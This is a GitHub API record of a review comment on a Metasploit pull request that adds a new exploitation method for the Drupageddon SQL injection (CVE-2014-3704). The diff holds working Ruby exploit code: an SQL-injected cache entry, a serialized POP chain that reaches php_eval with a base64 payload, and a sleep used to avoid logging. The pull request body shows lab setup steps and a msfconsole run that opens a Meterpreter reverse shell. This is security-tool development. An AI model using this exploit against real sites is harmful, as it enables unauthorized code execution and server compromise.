{"action":"created","comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/152354652","pull_request_review_id":78204256,"id":152354652,"diff_hunk":"@@ -16,50 +16,165 @@ def initialize(info={})\n         (aka Drupageddon) in order to achieve a remote shell on the vulnerable\n         instance. This module was tested against Drupal 7.0 and 7.31 (was fixed\n         in 7.32).\n+\n+        Two methods are available to trigger the PHP payload on the target:\n+\n+        - set TARGET 0:\n+          Form-cache PHP injection method (default).\n+          This uses the SQLi to upload a malicious form to Drupal's cache,\n+          then trigger the cache entry to execute the payload using a POP chain.\n+\n+        - set TARGET 1:\n+          User-post injection method.\n+          This creates a new Drupal user, adds it to the administrators group,\n+          enable Drupal's PHP module, grant the administrators the right to\n+          bundle PHP code in their post, create a new post containing the\n+          payload and preview it to trigger the payload execution.\n       },\n       'License'        => MSF_LICENSE,\n       'Author'         =>\n         [\n           'SektionEins',          # discovery\n-          'Christian Mehlmauer',  # msf module\n-          'Brandon Perry'         # msf module\n+          'WhiteWinterWolf',      # form-cache PHP injection method\n+          'Christian Mehlmauer',  # user-post PHP injection method\n+          'Brandon Perry'         # user-post PHP injection method\n         ],\n       'References'     =>\n         [\n           ['CVE', '2014-3704'],\n           ['URL', 'https://www.drupal.org/SA-CORE-2014-005'],\n-          ['URL', 'http://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html']\n+          ['URL', 'http://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html'],\n+          ['URL', 'https://www.whitewinterwolf.com/posts/2017/11/16/drupageddon-revisited-a-new-path-from-sql-injection-to-remote-command-execution-cve-2014-3704/']\n         ],\n       'Privileged'     => false,\n       'Platform'       => ['php'],\n       'Arch'           => ARCH_PHP,\n-      'Targets'        => [['Drupal 7.0 - 7.31',{}]],\n+      'Targets'        =>\n+        [\n+          ['Drupal 7.0 - 7.31 (form-cache PHP injection method)', {}],\n+          ['Drupal 7.0 - 7.31 (user-post PHP injection method)', {}]\n+        ],\n       'DisclosureDate' => 'Oct 15 2014',\n       'DefaultTarget'  => 0\n     ))\n \n     register_options(\n-    [\n-      OptString.new('TARGETURI', [ true, \"The target URI of the Drupal installation\", '/'])\n-    ])\n+      [\n+        OptString.new('TARGETURI', [ true, \"The target URI of the Drupal installation\", '/'])\n+      ])\n \n     register_advanced_options(\n-    [\n-      OptString.new('ADMIN_ROLE', [ true, \"The administrator role\", 'administrator']),\n-      OptInt.new('ITER', [ true, \"Hash iterations (2^ITER)\", 10])\n-    ])\n+      [\n+        OptInt.new('Wait', [true, \"Number of seconds to wait before triggering the payload sent (form-cache method only).\", 5]),\n+        OptString.new('AdminRole', [ true, \"The administrator role (user-post method only)\", 'administrator']),\n+        OptInt.new('Iter', [ true, \"Hash iterations (2^ITER, user-post method only))\", 10])\n+      ])\n+  end\n+\n+  ##\n+  # Form-cache PHP injection method\n+  ##\n+\n+  def sql_insert(id, value)\n+    curlyopen = rand_text_alphanumeric(8)\n+    curlyclose = rand_text_alphanumeric(8)\n+    value.gsub!('{', curlyopen)\n+    value.gsub!('}', curlyclose)\n+\n+    \"INSERT INTO {cache_form} (cid, data, expire, created, serialized) \" \\\n+      + \"VALUES ('#{id}', REPLACE(REPLACE('#{value}', '#{curlyopen}', \" \\\n+      + \"CHAR(#{'{'.ord})), '#{curlyclose}', CHAR(#{'}'.ord})), -1, 0, 1);\"\n+  end\n+\n+  def exploit_formcache\n+    form_build_id = 'form-' + rand_text_alphanumeric(43)\n+\n+    # Remove the malicious cache entries upon success.\n+    evalstr = \"cache_clear_all(array('form_\" + form_build_id + \"', \" \\\n+      + \"'form_state_\" + form_build_id + \"'), 'cache_form');\"\n+    evalstr << payload.encoded\n+    evalstr = Rex::Text.encode_base64(evalstr)\n+    # '<?php' tag required by php_eval().\n+    evalstr = \"<?php eval(base64_decode(\\\\'#{evalstr}\\\\'));\"\n+    # Don't count the backslashes.\n+    evalstr_len = evalstr.length - 2\n+\n+    # Serialized malicious form state.\n+    # The PHP module may be disabled (and should be).\n+    # Load its definition manually to get access to php_eval().\n+    state = 'a:1:{s:10:\"build_info\";a:1:{s:5:\"files\";a:1:{'\n+      state << 'i:0;s:22:\"modules/php/php.module\";'\n+    state << '}}}'\n+    # Initiates a POP chain in includes/form.inc:1850, form_builder()\n+    form = 'a:6:{'\n+      form << 's:5:\"#type\";s:4:\"form\";'\n+      form << 's:8:\"#parents\";a:1:{i:0;s:4:\"user\";}'\n+      form << 's:8:\"#process\";a:1:{i:0;s:13:\"drupal_render\";}'\n+      form << 's:16:\"#defaults_loaded\";b:1;'\n+      form << 's:12:\"#post_render\";a:1:{i:0;s:8:\"php_eval\";}'\n+      form << 's:9:\"#children\";s:' + evalstr_len.to_s + ':\"' + evalstr + '\";'\n+    form << '}'\n+\n+    # SQL injection key lines:\n+    # - modules/user/user.module:2149, user_login_authenticate_validate()\n+    # - includes/database/database.inc:745, expandArguments()\n+    sql = sql_insert('form_state_' + form_build_id, state)\n+    sql << sql_insert('form_' + form_build_id, form)\n+    # Causes PHP script to timeout, avoiding payload logging.\n+    sql << 'SELECT SLEEP(666);'\n+\n+    # Use the login form to inject the malicious cache entry.\n+    # '!' follows redirects, used by some Drupal sites to enforce clean URLs.\n+    # Don't check the return code as it *will* timeout.\n+    send_request_cgi!({\n+      'uri' => normalize_uri(target_uri.path),\n+      'method' => 'POST',\n+      'vars_post' => {\n+        # Don't use 'user_login_block' as it may be disabled.\n+        'form_id' => 'user_login',\n+        'form_build_id' => '',\n+        \"name[0;#{sql}#]\" => '',\n+        # This field must be located *after* the injection.\n+        \"name[0]\" => '',\n+        'op' => 'Log in',\n+        'pass' => Rex::Text.rand_text_alpha(8)\n+      },\n+      'vars_get' => {\n+        'q' => 'user/login'\n+      }\n+    }, timeout=datastore['Wait'])\n+\n+    # Trigger the malicious cache entry using its form ID.\n+    send_request_cgi!({\n+      'uri' => normalize_uri(target_uri.path),\n+      'method' => 'POST',\n+      'vars_post' => {\n+        'form_id' => 'user_login',\n+        \"form_build_id\" => form_build_id,\n+        \"name\" => Rex::Text.rand_text_alpha(10),\n+        'op' => 'Log in',\n+        'pass' => Rex::Text.rand_text_alpha(10)\n+      },\n+      'vars_get' => {\n+        'q' => 'user/login'\n+      }\n+    })\n   end\n \n+  ##\n+  # User-post PHP injection method\n+  ##\n+\n   def uri_path\n     normalize_uri(target_uri.path)\n   end\n \n   def admin_role\n-    datastore['ADMIN_ROLE']\n+    datastore['AdminRole']","path":"modules/exploits/multi/http/drupal_drupageddon.rb","position":170,"original_position":170,"commit_id":"2be3433bdbc50ccbd854eb6ec7865a9a1b319e82","original_commit_id":"2be3433bdbc50ccbd854eb6ec7865a9a1b319e82","user":{"login":"brandonprry","id":483180,"avatar_url":"https://avatars3.githubusercontent.com/u/483180?v=4","gravatar_id":"","url":"https://api.github.com/users/brandonprry","html_url":"https://github.com/brandonprry","followers_url":"https://api.github.com/users/brandonprry/followers","following_url":"https://api.github.com/users/brandonprry/following{/other_user}","gists_url":"https://api.github.com/users/brandonprry/gists{/gist_id}","starred_url":"https://api.github.com/users/brandonprry/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/brandonprry/subscriptions","organizations_url":"https://api.github.com/users/brandonprry/orgs","repos_url":"https://api.github.com/users/brandonprry/repos","events_url":"https://api.github.com/users/brandonprry/events{/privacy}","received_events_url":"https://api.github.com/users/brandonprry/received_events","type":"User","site_admin":false},"body":"This comment is purely for future-proofing, but as Metasploit becomes more automated and less used by hand, changing datastore names like this will become breaking. It's fine in this module I guess although my druthers would be to leave the datastore option ADMIN_ROLE.\r\n","created_at":"2017-11-21T17:57:38Z","updated_at":"2017-11-21T17:57:39Z","html_url":"https://github.com/rapid7/metasploit-framework/pull/9215#discussion_r152354652","pull_request_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9215","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/152354652"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/9215#discussion_r152354652"},"pull_request":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9215"}}},"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9215","id":153136711,"html_url":"https://github.com/rapid7/metasploit-framework/pull/9215","diff_url":"https://github.com/rapid7/metasploit-framework/pull/9215.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/9215.patch","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/9215","number":9215,"state":"open","locked":false,"title":"New exploit method for Drupageddon (CVE-2014-3704)","user":{"login":"WhiteWinterWolf","id":18170311,"avatar_url":"https://avatars1.githubusercontent.com/u/18170311?v=4","gravatar_id":"","url":"https://api.github.com/users/WhiteWinterWolf","html_url":"https://github.com/WhiteWinterWolf","followers_url":"https://api.github.com/users/WhiteWinterWolf/followers","following_url":"https://api.github.com/users/WhiteWinterWolf/following{/other_user}","gists_url":"https://api.github.com/users/WhiteWinterWolf/gists{/gist_id}","starred_url":"https://api.github.com/users/WhiteWinterWolf/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/WhiteWinterWolf/subscriptions","organizations_url":"https://api.github.com/users/WhiteWinterWolf/orgs","repos_url":"https://api.github.com/users/WhiteWinterWolf/repos","events_url":"https://api.github.com/users/WhiteWinterWolf/events{/privacy}","received_events_url":"https://api.github.com/users/WhiteWinterWolf/received_events","type":"User","site_admin":false},"body":"This new script exploits the same vulnerability as\r\n *exploits/multi/http/drupal_drupageddon.rb*, but in a more efficient way.\r\n\r\nThe current *drupal_drupageddon.rb* script is very invasive:\r\n\r\n1. It creates a new user account.\r\n2. Adds it to the *administrators* group.\r\n3. Enables a previously disabled module.\r\n4. Grants the members of the *administrators* group the right to use this module's feature.\r\n5. Opens a session using the newly created account.\r\n6. Starts to create a new post.\r\n7. Trigger the *Preview* feature to make the target parse the post content.\r\n\r\nI propose a new method to exploit this vulnerability:\r\n\r\n1. Attempt to upload a malicious form cache entry to the target.\r\n2. Trigger the cache entry, resulting in the payload execution if the target is indeed vulnerable.\r\n\r\nThis method does not alter the target's configuration or its users database, generates no suspicious log entry and is smaller and faster. \r\n\r\nI don't know however if the preferred method in this case would be to add this script as a new file, or request to replace the existing file. While in doubt, I propose this as a new module exploiting the same vulnerability.\r\n\r\n## Installation\r\n\r\nThe following procedure can be used to create a vulnerable server from a freshly installed Debian 9 *\"stretch\"*. I have tested this module against Drupal 7.0. and 7.31.\r\n\r\nInstall the prerequisites:\r\n\r\n\tsudo apt install apache2 libapache2-mod-php mariadb-server php-gd php-mysql php-xml\r\n\r\nInstall the database:\r\n\r\n\tsudo service mariadb start\r\n\tsudo mysql_secure_installation\r\n\tsudo mysql -u root\r\n\r\nMySQL commands:\r\n\r\n\tCREATE DATABASE drupal CHARACTER SET utf8 COLLATE utf8_general_ci;\r\n\tCREATE USER 'drupal'@'localhost' IDENTIFIED BY 'Passw0rd!';\r\n\tGRANT ALTER, CREATE, CREATE TEMPORARY TABLES, DELETE, DROP, INDEX, INSERT,\r\n\t\tLOCK TABLES, SELECT, UPDATE ON drupal.* TO 'drupal'@'localhost';\r\n\tEXIT\r\n\r\nInstall Drupal files (use *drupal-7.0.tar.gz* to get Drupal 7.0):\r\n\r\n\twget https://ftp.drupal.org/files/projects/drupal-7.31.tar.gz\r\n\tunar drupal-7.31.tar.gz\r\n\tsudo rm /var/www/html/*\r\n\tsudo cp -r drupal-7.31/. /var/www/html/\r\n\tsudo install -g www-data -m 775 -d /var/www/html/sites/default/files\r\n\tsudo install -g www-data -m 664 /var/www/html/sites/default/{default.,}settings.php\r\n\r\nStart the web server:\r\n\r\n\tsudo service apache2 start\r\n\r\nConnect to the web interface to install Drupal using the default options.\r\n\r\nOnce Drupal has been successfully installed:\r\n\r\n\tsudo chmod 644 /var/www/html/sites/default/settings.php\r\n\r\n\r\n## Verification\r\n\r\nList the steps needed to make sure this thing works\r\n\r\n- [ ] Start `msfconsole`\r\n- [ ] `use exploit/multi/http/drupal_cve2014_3704`\r\n- [ ] `set PAYLOAD php/meterpreter/reverse_tcp`\r\n- [ ] `set RHOST 192.168.1.31`\r\n- [ ] `set LHOST 192.168.1.100`\r\n- [ ] `run`\r\n- [ ] **Verify** that a new Meterpreter session is successfully opened.\r\n- [ ] All details on the exploitation method I used can be found on [my blog](https://www.whitewinterwolf.com/posts/2017/11/16/drupageddon-revisited-a-new-path-from-sql-injection-to-remote-command-execution-cve-2014-3704/).\r\n\r\n## Example\r\n\r\n\tmsf > use exploit/multi/http/drupal_cve2014_3704\r\n\tmsf exploit(drupal_cve2014_3704) > set PAYLOAD php/meterpreter/reverse_tcp\r\n\tPAYLOAD => php/meterpreter/reverse_tcp\r\n\tmsf exploit(drupal_cve2014_3704) > set RHOST 192.168.1.31\r\n\tRHOST => 192.168.1.31\r\n\tmsf exploit(drupal_cve2014_3704) > set LHOST 192.168.1.100\r\n\tLHOST => 192.168.1.100\r\n\tmsf exploit(drupal_cve2014_3704) > run\r\n\r\n\t[*] Started reverse TCP handler on 192.168.1.100:4444\r\n\t[*] Sending stage (37514 bytes) to 192.168.1.31\r\n\t[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.31:47728) at 2017-11-15 20:53:46 +0100\r\n\r\n\tmeterpreter > getuid\r\n\tServer username: www-data (33)\r\n\tmeterpreter >","created_at":"2017-11-16T20:01:49Z","updated_at":"2017-11-21T17:57:39Z","closed_at":null,"merged_at":null,"merge_commit_sha":"f6bef63b45f90fd2bb3ea3d47460dfcedb8a6e94","assignee":{"login":"wvu-r7","id":4551878,"avatar_url":"https://avatars2.githubusercontent.com/u/4551878?v=4","gravatar_id":"","url":"https://api.github.com/users/wvu-r7","html_url":"https://github.com/wvu-r7","followers_url":"https://api.github.com/users/wvu-r7/followers","following_url":"https://api.github.com/users/wvu-r7/following{/other_user}","gists_url":"https://api.github.com/users/wvu-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wvu-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wvu-r7/subscriptions","organizations_url":"https://api.github.com/users/wvu-r7/orgs","repos_url":"https://api.github.com/users/wvu-r7/repos","events_url":"https://api.github.com/users/wvu-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wvu-r7/received_events","type":"User","site_admin":false},"assignees":[{"login":"wvu-r7","id":4551878,"avatar_url":"https://avatars2.githubusercontent.com/u/4551878?v=4","gravatar_id":"","url":"https://api.github.com/users/wvu-r7","html_url":"https://github.com/wvu-r7","followers_url":"https://api.github.com/users/wvu-r7/followers","following_url":"https://api.github.com/users/wvu-r7/following{/other_user}","gists_url":"https://api.github.com/users/wvu-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wvu-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wvu-r7/subscriptions","organizations_url":"https://api.github.com/users/wvu-r7/orgs","repos_url":"https://api.github.com/users/wvu-r7/repos","events_url":"https://api.github.com/users/wvu-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wvu-r7/received_events","type":"User","site_admin":false}],"requested_reviewers":[],"milestone":null,"commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9215/commits","review_comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9215/comments","review_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/9215/comments","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/2be3433bdbc50ccbd854eb6ec7865a9a1b319e82","head":{"label":"WhiteWinterWolf:master","ref":"master","sha":"2be3433bdbc50ccbd854eb6ec7865a9a1b319e82","user":{"login":"WhiteWinterWolf","id":18170311,"avatar_url":"https://avatars1.githubusercontent.com/u/18170311?v=4","gravatar_id":"","url":"https://api.github.com/users/WhiteWinterWolf","html_url":"https://github.com/WhiteWinterWolf","followers_url":"https://api.github.com/users/WhiteWinterWolf/followers","following_url":"https://api.github.com/users/WhiteWinterWolf/following{/other_user}","gists_url":"https://api.github.com/users/WhiteWinterWolf/gists{/gist_id}","starred_url":"https://api.github.com/users/WhiteWinterWolf/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/WhiteWinterWolf/subscriptions","organizations_url":"https://api.github.com/users/WhiteWinterWolf/orgs","repos_url":"https://api.github.com/users/WhiteWinterWolf/repos","events_url":"https://api.github.com/users/WhiteWinterWolf/events{/privacy}","received_events_url":"https://api.github.com/users/WhiteWinterWolf/received_events","type":"User","site_admin":false},"repo":{"id":111014386,"name":"metasploit-framework","full_name":"WhiteWinterWolf/metasploit-framework","owner":{"login":"WhiteWinterWolf","id":18170311,"avatar_url":"https://avatars1.githubusercontent.com/u/18170311?v=4","gravatar_id":"","url":"https://api.github.com/users/WhiteWinterWolf","html_url":"https://github.com/WhiteWinterWolf","followers_url":"https://api.github.com/users/WhiteWinterWolf/followers","following_url":"https://api.github.com/users/WhiteWinterWolf/following{/other_user}","gists_url":"https://api.github.com/users/WhiteWinterWolf/gists{/gist_id}","starred_url":"https://api.github.com/users/WhiteWinterWolf/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/WhiteWinterWolf/subscriptions","organizations_url":"https://api.github.com/users/WhiteWinterWolf/orgs","repos_url":"https://api.github.com/users/WhiteWinterWolf/repos","events_url":"https://api.github.com/users/WhiteWinterWolf/events{/privacy}","received_events_url":"https://api.github.com/users/WhiteWinterWolf/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/WhiteWinterWolf/metasploit-framework","description":"Metasploit Framework","fork":true,"url":"https://api.github.com/repos/WhiteWinterWolf/metasploit-framework","forks_url":"https://api.github.com/repos/WhiteWinterWolf/metasploit-framework/forks","keys_url":"https://api.github.com/repos/WhiteWinterWolf/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/WhiteWinterWolf/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/WhiteWinterWolf/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/WhiteWinterWolf/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/WhiteWinterWolf/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/WhiteWinterWolf/metasploit-framework/events","assignees_url":"https://api.github.com/repos/WhiteWinterWolf/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/WhiteWinterWolf/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/WhiteWinterWolf/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/WhiteWinterWolf/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/WhiteWinterWolf/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/WhiteWinterWolf/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/WhiteWinterWolf/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/WhiteWinterWolf/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/WhiteWinterWolf/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/WhiteWinterWolf/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/WhiteWinterWolf/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/WhiteWinterWolf/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/WhiteWinterWolf/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/WhiteWinterWolf/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/WhiteWinterWolf/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/WhiteWinterWolf/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/WhiteWinterWolf/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/WhiteWinterWolf/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/WhiteWinterWolf/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/WhiteWinterWolf/metasploit-framework/merges","archive_url":"https://api.github.com/repos/WhiteWinterWolf/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/WhiteWinterWolf/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/WhiteWinterWolf/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/WhiteWinterWolf/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/WhiteWinterWolf/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/WhiteWinterWolf/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/WhiteWinterWolf/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/WhiteWinterWolf/metasploit-framework/releases{/id}","deployments_url":"https://api.github.com/repos/WhiteWinterWolf/metasploit-framework/deployments","created_at":"2017-11-16T19:41:58Z","updated_at":"2017-11-16T19:42:20Z","pushed_at":"2017-11-17T12:28:17Z","git_url":"git://github.com/WhiteWinterWolf/metasploit-framework.git","ssh_url":"git@github.com:WhiteWinterWolf/metasploit-framework.git","clone_url":"https://github.com/WhiteWinterWolf/metasploit-framework.git","svn_url":"https://github.com/WhiteWinterWolf/metasploit-framework","homepage":"https://www.metasploit.com/","size":327548,"stargazers_count":0,"watchers_count":0,"language":"Ruby","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":0,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"rapid7:master","ref":"master","sha":"5cdd3645909953b6d49197f18719c6d17544da51","user":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars1.githubusercontent.com/u/1013671?v=4","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"repo":{"id":2293158,"name":"metasploit-framework","full_name":"rapid7/metasploit-framework","owner":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars1.githubusercontent.com/u/1013671?v=4","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/rapid7/metasploit-framework","description":"Metasploit Framework","fork":false,"url":"https://api.github.com/repos/rapid7/metasploit-framework","forks_url":"https://api.github.com/repos/rapid7/metasploit-framework/forks","keys_url":"https://api.github.com/repos/rapid7/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rapid7/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rapid7/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/rapid7/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/events","assignees_url":"https://api.github.com/repos/rapid7/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/rapid7/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/rapid7/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/rapid7/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/rapid7/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/rapid7/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/rapid7/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rapid7/metasploit-framework/merges","archive_url":"https://api.github.com/repos/rapid7/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rapid7/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/rapid7/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/rapid7/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/rapid7/metasploit-framework/releases{/id}","deployments_url":"https://api.github.com/repos/rapid7/metasploit-framework/deployments","created_at":"2011-08-30T06:13:20Z","updated_at":"2017-11-21T16:40:17Z","pushed_at":"2017-11-21T16:00:15Z","git_url":"git://github.com/rapid7/metasploit-framework.git","ssh_url":"git@github.com:rapid7/metasploit-framework.git","clone_url":"https://github.com/rapid7/metasploit-framework.git","svn_url":"https://github.com/rapid7/metasploit-framework","homepage":"https://www.metasploit.com/","size":327535,"stargazers_count":10282,"watchers_count":10282,"language":"Ruby","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":6090,"mirror_url":null,"archived":false,"open_issues_count":440,"forks":6090,"open_issues":440,"watchers":10282,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9215"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/9215"},"issue":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/9215"},"comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/9215/comments"},"review_comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9215/comments"},"review_comment":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/9215/commits"},"statuses":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/2be3433bdbc50ccbd854eb6ec7865a9a1b319e82"}},"author_association":"NONE"}}
{"actor":{"display_login":"brandonprry"}}